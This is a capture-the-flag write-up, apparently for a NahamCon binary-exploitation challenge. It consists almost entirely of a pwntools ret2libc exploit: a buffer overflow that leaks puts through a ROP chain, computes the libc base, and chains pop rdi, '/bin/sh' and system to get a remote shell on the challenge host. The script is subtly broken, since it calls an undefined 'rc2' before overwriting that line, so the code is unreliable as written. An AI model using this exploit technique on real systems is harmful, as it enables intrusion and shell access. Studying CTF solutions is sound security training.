Rating: 5.0

# Summary
You use a `ret2libc` exploit by overflowing until you make the binary leak a libc function (you end up finding that the libc version is 2.31 ubunut). With that, you've broken through ASLR and you can run `system`
# Solution (`pwntools` template)
```
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

#io = start()
io = remote("challenge.nahamcon.com", 30413)

cut = cyclic_find('faab') # I found this by running cyclic(300) first and finding the segfault at the character sequence "faab"
buf = cyclic(cut)

rc = ROP(exe)
rc.puts(exe.sym.got["puts"])
rc.main()

xpl1 = buf + rc.chain()

io.sendline(xpl1) # This will cause the leak of the puts() function's GOT address

puts_leak = io.readline()
puts_leak = puts_leak.strip().replace(b"Can you overflow this?: ", b"")
puts_leak = u64(puts_leak.ljust(8, b'\x00'))
log.info("puts @ {}".format(hex(puts_leak)))

libc.address = puts_leak - 0x0875a0 # Based on the leak, you can get the base address of glibc
log.info("libc base @ {}".format(hex(libc.address)))

bin_sh_loc = next(libc.search(b"/bin/sh")) # "/bin/sh" is somewhere in glibc always
log.info("bin sh string @ {}".format(hex(bin_sh_loc)))

pop_rdi = libc.address + 0x0000000000026b72 # pop rdi ; ret
ret = libc.address + 0x0000000000025679 # https://ropemporium.com/guide.html - ctrl+F "The MOVAPS issue"
chain = p64(pop_rdi) # rdi is the first parameter for syscalls
chain += p64(bin_sh_loc)
chain += p64(ret)
chain += p64(libc.sym["system"])

xpl2 = buf + rc2.chain()
xpl2 = buf + chain
io.sendlineafter(": ", xpl2)

io.interactive()
```